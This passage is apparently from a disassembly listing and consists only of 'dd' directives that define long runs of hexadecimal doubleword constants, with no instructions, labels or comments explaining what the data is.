		dd 426B16Bh, 22F6D17Fh,	0A2DDBC1Ah, 800CFD2Fh, 96CFA727h
		dd 0D8CFA87Ch, 7083D3Ch, 0BADF5DBh, 0B57EA101h,	721BBE2Dh
		dd 38ADD895h, 0A0EECC34h, 1E66A782h, 89978B25h,	3A79A8B4h
		dd 137567BEh, 41CA44A5h, 4B282001h, 3A0BCE6Fh, 7F08C72Bh
		dd 0D94C6D70h, 0CC0E81B9h, 0CAD09DFEh, 0C77D221Bh, 0BD52839Ch
		dd 54CD0124h, 27FC9D2Ah, 9573784Fh, 5A2C44D4h, 44F453A0h
		dd 0BC6C61F1h, 0BB1670A8h, 766CC9F1h, 0CB68AD4Fh, 0A2190A9h
		dd 0C9E03D20h, 63D1D161h, 2A3A45FAh, 1FE8D12Eh,	3F8E7C0h
		dd 0CDE48D92h, 7AC5D24Ch, 0C4C1373Ch, 0FC0070D3h, 0F7404573h
		dd 0BDB60C53h, 900C7FEDh, 0FB0B44F9h, 0F1AB77E2h, 13366A9h
		dd 205E4657h, 0FAADE10Eh, 54E5CB1Ch, 0B7E4232Dh, 0C0B60F39h
		dd 0F629E1CFh, 62F63D1h, 6E5871C5h, 9F737D2Bh, 0AF1CB8C0h
		dd 0D274D381h, 948C460Dh, 0FA170758h, 180FF84h,	0A5075B77h
		dd 0D8290DA1h, 35BE0349h, 534550Ch, 0B7E76184h,	27CC9ABFh
		dd 34F1F1C4h, 0CB3C3F27h, 0B88F307h, 26440FADh,	1AB1E518h
		dd 3A739DE3h, 0F82CF050h, 38E51084h, 0D0075BE8h, 0CBE057A6h
		dd 0F2C8FF9Dh, 0F5352777h, 0C4E9D366h, 0B88C1DEAh, 0C40F4B55h
		dd 0E7904EBCh, 7830E3BEh, 8C5B7571h, 36A57B9Dh,	0FE2CB931h
		dd 63C0A984h, 5EA067C2h, 0EE03245Eh, 80E4B0F5h,	98AF7372h
		dd 7A07167Eh, 36F89FD7h, 0C906BDD7h, 5C59E17Bh,	22289D2Eh
		dd 7001CF85h, 0C896C540h, 63B8AA74h, 50ADE9FEh,	27023C03h
		dd 7606AF1Ch, 0C3116FD2h, 0C7464487h, 7414B527h, 31615E24h
		dd 6A24A444h, 87019DCBh, 380594E5h, 71C5768h, 85EE1DFCh
		dd 6B275503h, 1F37E4BCh, 75FA37CAh, 80AA4C74h, 20C88686h
		dd 540BF93Bh, 1E0A80F4h, 5A629A23h, 2D51DF1h, 4A34C12h
		dd 0B676DCC4h, 94C52F77h, 0D394E838h, 0A29CD999h, 0F38220B0h
		dd 8DD5534h, 62CAB43Ch,	0A0C8393h, 8DF602E7h, 9FD8694Dh
		dd 6B368005h, 8088A3FEh, 0F1F6C55h, 2DE22FFAh, 0BE1934DFh
		dd 53CC7427h, 41D5468h,	1605A54Fh, 4FFAC666h, 0CAA6907Ah
		dd 0EE4523Bh, 26580465h, 0B5A5CC4Ch, 9E9E9DE1h,	0A4A10439h
		dd 949DC6EFh, 79E68A50h, 0D4E4D94Bh, 1FF2B8EAh,	6D5D936h
		dd 8ED8CD1h, 2827EDFCh
		dd 0EE0D4E3Fh, 863619C2h, 3CEB7AEEh, 3F22F6FDh,	0C48A16D2h
		dd 7D5B4BECh, 0AD495FC4h, 4F22D9FEh, 30E21394h,	45B93C71h
		dd 49F46EABh, 50BBF7B4h, 20349C4Dh, 0D2634733h,	231443DAh
		dd 606B52EFh, 0FE8707E8h, 8AEF3D24h, 48F600A4h,	792BAC9Dh
		dd 5B20A1DDh, 9288B25Dh, 26513967h, 95E8E8CFh, 2AB1E0B6h
		dd 848FB53Dh, 5EA3ACC7h, 3D5C4314h, 0D83D4C33h,	2408B0E3h
		dd 3292BBF8h, 8372B345h, 0B90AB367h, 4DED02E7h,	3C69B9E2h
		dd 8AADA5Ch, 5A2806Fh, 0CC62B738h, 0E24C73E9h, 85B419D3h
		dd 0E504D63Fh, 22F3EE3Eh, 38F3D83Eh, 81AF793Ch,	0C419C9AEh
		dd 242F5A38h, 0F78BEFC0h, 4720CD07h, 0BAD3FEDh,	0C59C312Ah
		dd 19B41DEBh, 0C4135121h, 891608D7h, 402D59EFh,	0C49E9E22h
		dd 3B1CF738h, 73B402EFh, 0F3A538h, 0B375D67h, 43E100C4h
		dd 7C307D66h, 392543CFh, 0F694E784h, 23C55B3Eh,	0B64C5A3Ch
		dd 4FB2071Eh, 303140EFh, 9F347CA8h, 60A84897h, 0B683751Fh
		dd 7CECFACFh, 0C971D8h,	0DD8438D2h, 0D0A9ECC0h,	8067CF9h
		dd 0C71EF4E2h, 0CD2DFCACh, 716ED44Fh, 9D87FF30h, 51B4D224h
		dd 8E2B664h, 9F2E6F17h,	2E6EB015h, 0D0C29132h, 0F822A031h
		dd 0B8A750FDh, 0A7915698h, 0DAF2436Bh, 0E286215Bh, 0E11DE1h
		dd 40AF595Bh, 5B9B72EDh, 9F280110h, 0EA8F4F33h,	0FCF15F5Eh
		dd 1E23E14h, 0E8D90803h, 0EE2EE129h, 2F154CEEh,	0D69D5AEEh
		dd 740C6DCBh, 74146DF1h, 74186DFFh, 74EC6DE5h, 0E5994F93h
		dd 1CC48752h, 29345E4Ch, 3CA4F3DEh, 0F128216Ch,	214C8374h
		dd 0CFC051F4h, 2B257CC9h, 0F8407FD5h, 22AE52F8h, 9F2DA5FFh
		dd 0D98F5199h, 43E64C58h, 0D130F78Dh, 8370B5E2h, 0E8D47148h
		dd 6568CC6Bh, 0A805712Eh, 5BF906A7h, 15C5E1D9h,	4AB28718h
		dd 0D1D2747Fh, 58A62FCCh, 4B8446DAh, 0C8C977E6h, 0F41D3F28h
		dd 0D9FE1DCFh, 0D90EFE3Bh, 0C8A19CD1h, 0EF221D2Ch, 0A7FFB361h
		dd 3E419027h, 8DB8ADFAh, 498FA699h, 0E9620748h,	3F05A907h
		dd 4EF4B435h, 0D0B0EF6Fh, 0DF8080BDh, 0B0F7E5F1h, 0AB3E9E4h
		dd 0F89441CFh, 0A5A95EE4h, 0C321D920h, 1B20B644h, 6561B7C2h
		dd 893BE224h, 0AF5C71Fh, 70983037h, 1495AF57h, 0ECD703A0h
		dd 3EE60BAh, 7CB0CD79h,	0DE168CCCh, 87CCA80Dh, 20AB0348h
		dd 44674741h, 0E9F4AC3Bh, 3A64B4B6h, 0E0A7D78Ch, 0EBDAB18Bh
		dd 9F080382h, 829B56BDh, 45D860EBh, 0C5EDCB15h,	7A30C293h
		dd 0AE51D545h, 0B389AFF2h, 51D35CCBh, 2DE60F62h, 0AA2013C9h
		dd 70A0DEEh, 69B8B964h,	2F6C1CAEh, 80FAD488h, 0BE6FCE93h
		dd 1442EE95h, 591A7D0Fh, 7CFB754Ch, 0CA098830h,	0B969B1DCh
		dd 0CEFDBFEBh, 0A609A17Fh, 364F5049h, 9F30C6D9h, 906CEBC7h
		dd 75D1BC88h, 6199FFCh,	27D17772h, 0B167FA52h, 5937F2DCh
		dd 21FCF062h, 195E5326h, 0CC79CF54h, 0A7C4FBE7h, 4118B1B0h
		dd 830B1DABh, 95A0751Eh, 8EAC19C6h, 3CB2A4EDh, 32B0FC84h
		dd 0B09FEEFh, 966B485h,	89B6F3B7h, 0B7AD3C4Ch, 0FC16B10Ah
		dd 165C4CD9h, 0DC359674h, 530E569Bh, 0C5F4A9CEh, 952C847Eh
		dd 260479DEh, 7661B43Ch, 827E75FFh, 913B8EDh, 9CA28EF4h
		dd 65AB1AFFh, 3CBBD8A4h, 5B92E06h, 90DBFD09h, 0A6C72F63h
		dd 0F5C781D9h, 98A149C4h, 403849C4h, 3F4C5534h,	257D8121h
		dd 256175C2h, 6240CF89h, 0C84CA565h, 0DC0DEEDEh, 1AFDA61Ah
		dd 72F266FDh, 8EA8290Bh, 1F3132C0h, 0E86C0193h,	0AE3E0FC3h
		dd 77D06F82h, 0F59518E8h, 0BB0986C4h, 0B334951Ch, 0AC72A81Ch
		dd 7914666Ch, 0D54C711Ch, 38B4583Dh, 0C5B54B5Eh, 378063C0h
		dd 74DFBFDCh, 0CD16BD9Fh, 7CC6BDCFh, 4A076BD4h,	5DAD2AC6h
		dd 0C21534DFh, 0E41C1FFCh, 0F33E5F9Bh, 7F1543F1h, 12F8ACF4h
		dd 0ABC36762h, 262CAD29h, 4B11FE6Ch, 0EC72946Ch, 78E66150h
		dd 7D4D3AE8h, 0DCC10AC3h, 37C6E756h, 8771593Fh,	2F39C33Dh
		dd 11F688F3h, 0A8890EB9h, 1001478h, 32E6FB5Eh, 321144DEh
		dd 6DF2FACCh, 6E23FDD1h, 0F56C4B7Ch, 7E09393Ch,	0FB41C43Eh
		dd 44054E36h, 7C3DA016h, 5F415DF7h, 8EB1955Dh, 2B9D5CF3h
		dd 0DF5E7235h, 0FB1CC82Dh, 0ED14EA22h, 79252132h, 0A1ECC06Bh
		dd 395BBE63h, 0A00CC5BEh, 3DE52760h, 52D7A534h,	0AA1528FAh
		dd 9F04C467h, 1B075D78h, 0FEDDA1DDh, 4084361h, 0AC18EA83h
		dd 22B67F3Bh, 0AAA91FC4h, 312F101Bh, 0AFC461E4h, 9CC5FBDh
		dd 7BF6180Fh, 9F26A51Bh, 3CEA083Bh, 8FDEBD04h, 0D4D1B961h
		dd 45F4B7CBh, 21EC53BEh, 1B7CB766h, 0C70260FBh,	742A65C4h
		dd 0C6EC727Dh, 0DC6340D4h, 0D922815Fh, 0DFD8B5DEh, 8826019h
		dd 84FDDA41h, 27AC7713h, 0DC1C602Ch, 0A26B69BCh, 3D6B2AB0h
		dd 0D3373530h, 6A43E92h, 9DCD015Dh, 0E92CB3Fh, 0B9B8A9CAh
		dd 49DBC0Ch, 222FACF4h,	0DA3861BAh, 8AEB3E4Bh, 0FF19B9C6h
		dd 23749DD4h, 5077D3Dh,	0F5075E38h, 227E1DE8h, 0FAE41889h
		dd 0B3CC65F2h, 409E1889h, 0BB4C0350h, 0A0AF5BC3h, 55FE9C10h
		dd 0E01D13Ch, 2B524D73h, 0E41F7EA7h, 352AA01Bh,	0E3F054D3h
		dd 1018D9D2h, 0E34CB02Fh, 90118B29h, 4C96BBBAh,	0FEF39D14h
		dd 0CA7465F5h, 25035C84h, 76E6550Ch, 1ABDDCFEh,	112F0F48h
		dd 3D541CFAh, 0FDB2B200h, 0D53B5535h, 0E34D856Bh, 0C462F701h
		dd 67E8FCF0h, 0ACF666E7h, 7BF971EFh, 0CF0CB9A1h, 8EF2BE5Ch
		dd 2C747C23h, 0C40C519Ch, 5FECBAD8h, 79F25EEBh,	0CE7C24C5h
		dd 12228223h, 2127E423h, 0A030B224h, 33C74FAh, 2BB1B9B1h
		dd 38F09D51h, 660EC75Bh, 0C3B52A8Ch, 9B2D6923h,	0FD2F007Dh
		dd 0C052570Dh, 2A4E6979h, 0ADE25DDFh, 0DDEE1D19h, 7A4FE14Bh
		dd 0C1BE77A6h, 829158F8h, 6B49DCD6h, 9D0A9FF1h,	0A4FBA4F8h
		dd 0FD0FB8EFh, 4FF2D69Ch, 1DD2E570h, 0B24429EAh, 6FBC54A7h
		dd 46B2F2C4h, 29F647h, 22037CE1h, 703C2A68h, 0C4DEB35Fh
		dd 0DCCF8BC0h, 0A3FB54B0h, 0FC23B4F3h, 432887F4h, 0CD0C10C8h
		dd 1C2B7A97h, 562DF73Bh, 0B619D1E3h, 8C60952Dh,	0B9E54C6Ah
		dd 4ACBB60Ch, 0E4D18CBAh, 7FA44B7h, 714C6CD3h, 6249ED73h
		dd 8ABDD2CEh, 0C5484F77h, 3C14589Eh, 15E3E8CFh,	2A37717Ch
		dd 26A9D9B1h, 0D40F66AEh, 5299B93Bh, 0FDE5D2EEh, 0B96C58BDh
		dd 0DA9F633Fh, 0C30348DFh, 0F60306BEh, 0EF0670A2h, 30CC72CAh
		dd 0B9D5D9C0h, 364A61B7h, 0DE117538h, 0FBEA4BBCh, 0FB4C9108h
		dd 6C483CF8h, 0C5E3485Fh, 0ADA0664Ah, 0D1A3A7CFh, 0EC04EDE1h
		dd 4166E32Eh, 27E70718h, 0D50E0E57h, 6417F47Fh,	7F829796h
		dd 5055D25h, 6C5CB4DDh,	0EA06342h, 0C1FCBEF4h, 259D8CA3h
		dd 0CD95976h, 5608F181h, 0FA74EC00h, 0FF4C903Dh, 0D33EEA57h
		dd 1493FD92h, 28C13037h, 0C040CC5h, 5FF51F19h, 789AEE35h
		dd 0DDC92181h, 88CC64B7h, 0BE98D67Eh, 4BAD3328h, 0D79FFF1Ch
		dd 0E65839B3h, 6810457Eh, 0F930E995h, 3F6D22DDh, 301FF0Eh
		dd 0A348F14h, 3B197F6Ch, 1F2E93CFh, 0F470EE8h, 9AA642CEh
		dd 33536059h, 7AA8F899h, 3DD2E16Fh, 76DA2BE0h, 0C6D7B7E9h
		dd 0F3249C8h, 1AA96A0Eh, 0AEB4E67Dh, 0CDB76782h, 0D00404E7h
		dd 78F87454h, 0B166A8Ch, 0EC3903FFh, 0B007ECAh,	358B609Ah
		dd 0F081504h, 0D5ECEF53h, 3A530954h, 0CF0FDC8h,	1A96AACh
		dd 28F42AC9h, 0C9340C4Fh, 0F3A4EB32h, 8AF80D21h, 7ADFB51h
		dd 0C4AF909Eh, 84ADB0BAh, 422F2867h, 567262CBh,	82CAC637h
		dd 7CD9E42Ch, 0A0487E1h
		dd 848B23Bh, 0DAE07120h, 0C5DA60C7h, 0EE4F9E92h, 0D838ECABh
		dd 9BB85D02h, 170474F9h, 8E624822h, 0F8EF7FD7h,	47F2F5E3h
		dd 0D538E1EEh, 0FC36FB21h, 7D2175E7h, 0A534BDE0h, 0F04C008Ch
		dd 94E381CFh, 0E30E7520h, 0F42A66FCh, 904C03E8h, 0FE1C49DEh
		dd 0DB684184h, 9F2C8106h, 2CBC5750h, 0A0E01DE7h, 0FD34FB10h
		dd 0E86CE884h, 404C798Fh, 0FAE267E0h, 730F1E34h, 0FCF442FCh
		dd 18C91DE3h, 9F2A9512h, 0A0E38330h, 4C7AE4h, 0BF377120h
		dd 4BE2FC4h, 0A6C449C1h, 0BE0FC7FDh, 0B4F151E5h, 3D35D6D0h
		dd 0B4171AD9h, 14AC3EA3h, 0B40C031Ch, 0CFE2C3C1h, 0C82CECEFh
		dd 0BF6573FFh, 96166C9Fh, 0D0DAFCE0h, 468565EAh, 0DB784ACDh
		dd 0D5CE5835h, 7600360Fh, 0DD21615Eh, 0BBE2FC3Fh, 0E249BBE3h
		dd 7F6CC7DEh, 66507717h, 980B6A39h, 740C1096h, 579590CAh
		dd 2C6F82F1h, 0D4D9F384h, 473B8570h, 26DC93F3h,	29CD5C33h
		dd 785FEDD9h, 0D4E5BDECh, 215071A5h, 373569DEh,	0AEF064CDh
		dd 38F189EDh, 0C8734D6Fh, 0A9DA66BCh, 0D45508EBh, 0C5C548F3h
		dd 0CD3C17E9h, 0A309CBE8h, 7E145671h, 2E115FC0h, 0A34C8CA8h
		dd 0C9C02129h, 0F33FDB96h, 0D101C5CFh, 7F3F31FCh, 4D0DE8C2h
		dd 820B87CEh, 321BC03Bh, 3CF05ACCh, 77A85D2Bh, 77CC46FAh
		dd 0BCDF4268h, 79F89C7Dh, 334014C3h, 7929C63Ch,	0CE00712Ah
		dd 351F67ECh, 98E466C0h, 35E09638h, 0B2254EC8h,	33EF67BEh
		dd 0EAB46D2Dh, 3B14FDCDh, 2E34A1EBh, 0CD4C7F2Dh, 0DC610BF6h
		dd 0B0F08D63h, 8AB1D6FDh, 0F13D4ED0h, 2B19DC5Bh, 0D8F33DE4h
		dd 0CD788114h, 0F80058C9h, 22C08DF1h, 6419ADE6h, 0C1DD08F6h
		dd 0D7AF778Ah, 0D9B8EACFh, 2ED66879h, 0D39380C4h, 532648D7h
		dd 3319E1D1h, 3A1ABBCEh, 7CCEB70Eh, 0D47A47C1h,	0D0DB487Ah
		dd 0C73B0BCFh, 0BF35FD2Ch, 0A01AF98h, 3DB642D3h, 5A2C9F2Bh
		dd 0F0398CCCh, 0AF1FADA9h, 0AB00332Eh, 0CC4E5E14h, 0DDF53A5Bh
		dd 0D6638D0Ah, 3F168298h, 31FFECFFh, 26B1D8CFh,	633F6155h
		dd 31EA5C3Fh, 3D856A2Dh, 10ACB97Ch, 0F5299497h,	98CA6A9Ch
		dd 0F148622Ch, 22A9B9FDh, 0FC4148E0h, 2BB4FACDh, 0D59F43A7h
		dd 0D7950158h, 855A64D0h, 0B05682Eh, 320721E6h,	7B3C0CBCh
		dd 2F8FBC26h, 69309D1Ah, 0ED0726D1h, 0FCFC6C7Ah, 0B1B4FA47h
		dd 0B015AA1h, 0DC9752DDh, 0DB874CFFh, 3180AF96h, 36C86730h
		dd 0ADA852Bh, 0F1B81AB3h, 0F66759FEh, 8A8F4576h, 6C544046h
		dd 0F46BDBF5h, 0C7EA7C9h, 7D6B584Ch, 55EA537h, 3936CE0Ah
		dd 5BA731FFh, 0B81AF77h, 9CE37FA5h, 0B4C36B45h,	193675FCh
		dd 0D4453BF9h, 0CBF262FCh, 0C4E405F0h, 2F37BB2Ah, 2EA475CCh
		dd 65E4E9F9h, 0CA0204FCh, 0C446A5D4h, 643773EEh, 0FB34C16Ch
		dd 544776EAh, 0E92D7564h, 0C464C2FEh, 0CA4276FCh, 0C7052562h
		dd 533733C5h, 8C3444ECh, 950449FEh, 0CA9207FCh,	0C4604517h
		dd 0EE36E3E8h, 4DA58833h, 0B6D3899Ah, 0C8E6F5ACh, 12D55DC3h
		dd 9C9874Dh, 71055272h,	247017CEh, 0A0645D1Bh, 1BCC7751h
		dd 0AC44E560h, 0A10075CCh, 754C79ABh, 0AAF8070Ch, 80881C28h
		dd 0C9E4C30Dh, 0CFE10766h, 0BA1F2ED9h, 0DF3CD738h, 0D4A07A39h
		dd 54EB766Dh, 5CD97642h, 0D5112E7Bh, 395899CAh,	95846531h
		dd 71A706E2h, 0CADB00F0h, 3B0459BAh, 0F53A3AEFh, 5D1EFB25h
		dd 7F3C07CDh, 40DB7333h, 0DE317920h, 2A680218h,	0D2772C53h
		dd 0CFBC50A5h, 69AC7303h, 7DE254CCh, 2A91F8E4h,	8B22AED5h
		dd 0F70D6F7Ah, 33EC6523h, 7C2792A4h, 0BD7DA814h, 0CAA6B5C6h
		dd 0C9D01DF0h, 4F8E4393h, 581D1F3Fh, 2404A3C9h,	9394B83Bh
		dd 0FF07B53Fh, 0AECF00F5h, 5BBF2A3Dh, 0BAE409Ch, 26F4B996h
		dd 17A275CEh, 79B9DD3Eh, 8A712084h, 0C596A0C5h,	4FE208FBh
		dd 2C4EB475h, 0D7F3C47Eh, 0C84A750Eh, 0DAA12989h, 0D7BB75CFh
		dd 0C868FD6Bh, 60668434h, 0AB74427Eh, 2D8664Fh,	0C88D7204h
		dd 5A05886h, 0BEDBB7ADh, 0F0414237h, 0D8C54067h, 0F2A76CB6h
		dd 0DE06939Ch, 90CE0306h, 698E5713h, 7CAE2D48h,	0C5807039h
		dd 0C5451CFCh, 0E4384DDBh, 1EB583F0h, 2769814Fh, 0FF5D37D9h
		dd 0C36FB482h, 47040B20h, 69343524h, 0A6858B79h, 0C90517DDh
		dd 3DBB1D2Ah, 0DC0B492h, 0D96A1276h, 0E7821124h, 0C7319028h
		dd 16A1B73Fh, 69A5259Eh, 0DE349DF6h, 0C25AC3ADh, 53A6692Bh
		dd 9D9D452Ch, 0BEA4B60Ch, 4B25C0EDh, 0F392508Bh, 2B5B3AABh
		dd 0C401B1D8h, 4CCBFAD4h, 97F549FFh, 422823E1h,	35F6B53Eh
		dd 2BEC3DADh, 3C824E3Ch, 2DA44F14h, 0F745606Fh,	0DE6BCB28h
		dd 0C3469FD0h, 0DC2160F8h, 72F723Eh, 0D4C68D3Fh, 1F36019Ch
		dd 435F5970h, 788F457Dh, 214461D5h, 4619B81Eh, 0E83139A5h
		dd 0D4EEACF1h, 0DAF83695h, 72E0CCEBh, 0AFA6EF6Eh, 932D7451h
		dd 0C404701Dh, 6F87B912h, 894C7067h, 0E8B9B73Ch, 9CF18710h
		dd 17DA6955h, 5C482827h, 4E5E89Dh, 6CE67E48h, 7E8CE4C5h
		dd 3AC3A1FFh, 0C5187861h, 20A4CE6Eh, 29DF4968h,	91F475E6h
		dd 0FF36CC70h, 0D4A0DE83h, 0EFF77CE8h, 5D441BA1h, 871A2295h
		dd 0C70EDFB0h, 0D6E6EC04h, 0BD7B20F6h, 37006D1Fh, 0D2475F84h
		dd 0FB04FCAAh, 0EBA55C58h, 0B01A6D73h, 0D526F114h, 5FD8F2D0h
		dd 356CD8A8h, 4345EBE3h, 5A3E80AAh, 0A462956Dh,	549E31A1h
		dd 2A88B149h, 0FB07CF2Eh, 0C1E98FFFh, 295A1331h, 0B6A5A2C0h
		dd 24E26CC6h, 0A929C89h, 39711E27h, 574C7666h, 5E1432C5h
		dd 0F42DC3C0h, 0F8D1D84Ch, 961B3670h, 0E6BAD347h, 0EB293CFAh
		dd 27604D27h, 0F9647C18h, 774D04FAh, 0AFDFF23Eh, 0F331F159h
		dd 16F4B6EBh, 448FDC17h, 0C42027F4h, 5BAC78C1h,	0C5FE04FFh
		dd 0C939BC16h, 7D6F1121h, 6B3B13F0h, 4F053A06h,	0A5E5E5EEh
		dd 6268C8F9h, 0F020566Fh, 549BDCB4h, 82F3512Eh,	0BEE218C8h
		dd 9C01A84Ch, 459314CCh, 6FD0A129h, 13878CFh, 0FF216466h
		dd 33407A4Fh, 0C69B74C6h, 7DB4EB78h, 0A9F4F529h, 0D4F6E1FAh
		dd 1D1601BDh, 0DC07DDFEh, 6CF39FC6h, 60E1DEAh, 83BC84FDh
		dd 4554FE25h, 53D643C3h, 74574ED9h, 0DEAAC1C0h,	1D009CCEh
		dd 926662FFh, 0C11074FEh, 0FB2C02CFh, 22C221FDh, 652A67FEh
		dd 0E6E1BA13h, 4A26CBE6h, 40B4BB04h, 0FC876078h, 0FD37D197h
		dd 253E3D68h, 410C5FA6h, 0C169B54Bh, 8032D9B9h,	24A2B4FDh
		dd 150DCCCBh, 301F0564h, 61E266A6h, 0D4E9452Ah,	1AD4FC96h
		dd 0CB346C6Fh, 0C1F26087h, 8CC2A1FAh, 5A1D49h, 0C4A3B0A3h
		dd 0C11381E7h, 2F191CFh, 0F5B7765Fh, 3A7834D4h,	0B8FC64FFh
		dd 0C12164E6h, 85B40A30h, 0F471BE3Ah, 50167BA7h, 5184ED28h
		dd 5DBD0018h, 1FC6B05Eh, 0C05AFD4Fh, 89E1B08Bh,	85C55E1Bh
		dd 302F7745h, 7931C170h, 0A734B725h, 0E3C736F4h, 540F8710h
		dd 481342C4h, 0C7206A7Fh, 7D28A287h, 0B140A3AAh, 0CDF5C2DEh
		dd 38317DF8h, 0A3954ADCh, 0C22174C5h, 65294A84h, 0BEE1CFA5h
		dd 6028A92Eh, 10D08083h, 5DA8DE63h, 0C927B806h,	1F0A657Ah
		dd 1C8E5900h, 14F76DE4h, 0C6751DE0h, 0BB679473h, 6B204EE4h
		dd 1A945E6h, 0B0F67F9Dh, 0BA9C895Fh, 0EF2C0325h, 0A94D7BE1h
		dd 0F2E05D50h, 0FC88E2EEh, 20E07504h, 9F347800h, 69A5797Eh
		dd 72F8E5E2h, 0F10EBCF9h, 942721FCh, 0D6C27E4Fh, 9C7D017Eh
		dd 20F5A9EEh, 0BCD05F0Ah, 3F2CFE6Fh, 0A983F350h, 8A4C7BE9h
		dd 2AECBF35h, 0AAAE7100h, 6B3427BDh, 7A4D61E5h,	0A1FD6C08h
		dd 98A1E304h, 0FD6454FCh
		dd 5A9D1D02h, 7E14CD18h, 7432D9F9h, 4BB0E245h, 70A72039h
		dd 5BC60AD9h, 5486A7FDh, 3B8A1DFFh, 3A874DE1h, 7EC6A829h
		dd 5B687EBDh, 7B267CCEh, 0D54C5C57h, 6B368D6Bh,	35757E28h
		dd 0E3D287F4h, 0B05256EEh, 0E4B6455h, 0C1A4441Eh, 0AE2DA07Bh
		dd 0BC4F722Ch, 1F23A9D6h, 0F76D5908h, 32A0B900h, 10DD618Bh
		dd 4DACBA20h, 0FE4F7FEFh, 0FD2DEB64h, 620DA504h, 15282DEBh
		dd 0EA30F1CFh, 0DEE301E4h, 49C139CFh, 5F36E1C7h, 9FCBA43Eh
		dd 0A806E4h, 42BA4A00h,	14DA7022h, 0CFC81DF8h, 9BB2777Fh
		dd 45259DD7h, 2D037FADh, 8AF0B705h, 0C19D7809h,	0FDF3102Dh
		dd 8902C005h, 3F318C5Dh, 0F7AA5F35h, 0E2C750Fh,	0C53427BEh
		dd 5D1C7C04h, 0E2645FFh, 8D4C726Ah, 0CE9749E3h,	0CB2BC7EDh
		dd 84FBA9Ch, 3A2947E0h,	49033DEEh, 0F5FD1161h, 8FD2B310h
		dd 0B5FD95Bh, 0C834B752h, 0BF92BC17h, 0CBC542C7h, 0E2F5478h
		dd 82C47C3Eh, 672DECE3h, 7A37C48h, 79C67DC4h, 7BDD8B95h
		dd 0EA0C95F9h, 9C15C242h, 0B5E1AC01h, 0E7107775h, 4A3A1E6Eh
		dd 505FE250h, 0C4334752h, 0C6617C25h, 0CF53EAE9h, 4DC07D0Bh
		dd 0CE60996Eh, 65F0D0CFh, 3EC179F4h, 50ACC1FAh,	2A11DDFh
		dd 153E3DDFh, 0EF000372h, 0D3A2333h, 0FD8C50DCh, 39566177h
		dd 0CBEC637Dh, 0C4A38AE7h, 2B5D7C0Ah, 62D5B491h, 2EF03447h
		dd 0C323760Bh, 0FBE663C7h, 4BAE5C7Ch, 3410A116h, 0C34F1DF6h
		dd 28F84E78h, 0D1CC4E64h, 814C698Fh, 3DBBFAF8h,	9616B5B1h
		dd 2422A2D5h, 0E236526h, 202761F8h, 0CB28D978h,	5CBAA361h
		dd 1C230CC1h, 0A630BFD8h, 0B8BB355Ch, 13867E07h, 568619A4h
		dd 4C6B8Fh, 46F08434h, 34C6BFFh, 0A9352262h, 0FEBB5F26h
		dd 2D58BFF8h, 0C230C00h, 872073Bh, 0F0672A37h, 0FF2F42E6h
		dd 0D77C04C6h, 0C27B5E84h, 0FB1B4203h, 0CB7B1DCCh, 0D768A3FCh
		dd 9CAC6309h, 70C9E1DEh, 0D634823Ch, 76799779h,	463C07FFh
		dd 0A4A27F37h, 3BAB1DCFh, 30DE5CF9h, 0DB22260Eh, 0CA70FF34h
		dd 67F7D6Eh, 6B32BA20h,	28271AEAh, 0B9221E3Ch, 350E3DFh
		dd 0CE670C39h, 66D57407h, 0D732783Ch, 0C923BFCCh, 2F21AF87h
		dd 1AB5DDFEh, 7CF77D8Bh, 65EC73E4h, 3E157DCEh, 0F58074EAh
		dd 2021B59Fh, 7DBD63Eh,	0C276D829h, 0BDC0FFB8h,	0B796A4CEh
		dd 0FD961DFAh, 0BDB1ED42h, 0ED0C7A2Fh, 1FEDB8DAh, 0B8AF55F8h
		dd 4863D1C4h, 2996B7B3h, 0DA00AC95h, 1463D141h,	5FA6B4Ah
		dd 0A0C368A4h, 0DDA28726h, 0CBA781C8h, 8501B462h, 36CD5BF0h
		dd 0C3EF0839h, 0DC964EABh, 44709182h, 0F851DFA2h, 34B4280Eh
		dd 423C5C3Ah, 0B8266300h, 0FC4B7CFEh, 31B6F778h, 0D9647879h
		dd 4B2D3684h, 270294E5h, 1E997C52h, 778D1CF3h, 0BF2EBD12h
		dd 59E20CA7h, 0D24C5C6Eh, 0D530E7E8h, 9C4C73EEh, 0E01C032Bh
		dd 8ABDC275h, 0E4DD7C55h, 0E9CD925h, 582BC5CFh,	38226E8Dh
		dd 0FB617DF2h, 0AAA71CE2h, 3BA432D4h, 284C7EEEh, 7E5A1BE4h
		dd 8A0EBD03h, 6420AB68h, 0C43B0711h, 6B460610h,	80E71C1h
		dd 85E5B0B9h, 0C6077D8Ch, 6326DC68h, 0BB4C75C1h, 940917E5h
		dd 2BDB7DDAh, 1176A97Ah, 59B0CF3Fh, 9F142494h, 0CB27B1E2h
		dd 2123FDBDh, 0A87E0E84h, 0F9BD5487h, 0E25C504Dh, 0B01CC153h
		dd 0C9BD843Fh, 0EDEEADD9h, 2D2739FFh, 2A38C067h, 2036FF0Ah
		dd 5F1A8C13h, 374540EAh, 10AD7043h, 9F147754h, 0FC27ADCFh
		dd 60D99F18h, 0D967201Bh, 8316729h, 0C4C48C35h,	0FDED3D1Ch
		dd 0B9B000E5h, 4B2901CFh, 0F976A8FCh, 0B53DBD76h, 64CA7AECh
		dd 78EB1F6Ah, 0CAD232CFh, 0DAF1F09Bh, 78C2EE4Eh, 28A2BC56h
		dd 0C6B6196Bh, 0F6A13B2Ah, 0AA9FBBEFh, 3903C2D4h, 0FEC975E9h
		dd 25D5B964h, 0FAFAF2E4h, 3B59E500h, 251FFFEEh,	2A46A97Ch
		dd 0CA29A0FFh, 20690C65h, 0C35EF6DFh, 5463046Eh, 11186608h
		dd 0CAFB042Ah, 43C493Ah, 204CE97Bh, 56103A8h, 0CC17772Ch
		dd 3F095624h, 594C81CAh, 0B0094261h, 22EA37F7h,	955A9104h
		dd 54B2CDF4h, 16EFE01Fh, 28C0A3C9h, 40E367C6h, 81B747D5h
		dd 0D47EAAD0h, 0F80C1DDBh, 2EE0A751h, 37B041DEh, 44B97D3Eh
		dd 9F13C7CFh, 0D590B93Bh, 28C50615h, 5866AE84h,	0CFABE4F8h
		dd 0E20342DFh, 883B8AE5h, 2F263386h, 782B7233h,	8C00196Fh
		dd 2E636DF8h, 2F1FD779h, 6ABE40CFh, 147264CCh, 0D1893C3h
		dd 0DF98F8EDh, 0F568B6A9h, 75FB09EDh, 0D2A97D5Ch, 0FE0D1D6Eh
		dd 3AB5318Dh, 0BE147CEEh, 801CABEAh, 0B93204A7h, 0C172DE6Ah
		dd 8FB6FAEDh, 6E98A55Eh, 0BA5B0DCFh, 35314353h,	0C413F8C4h
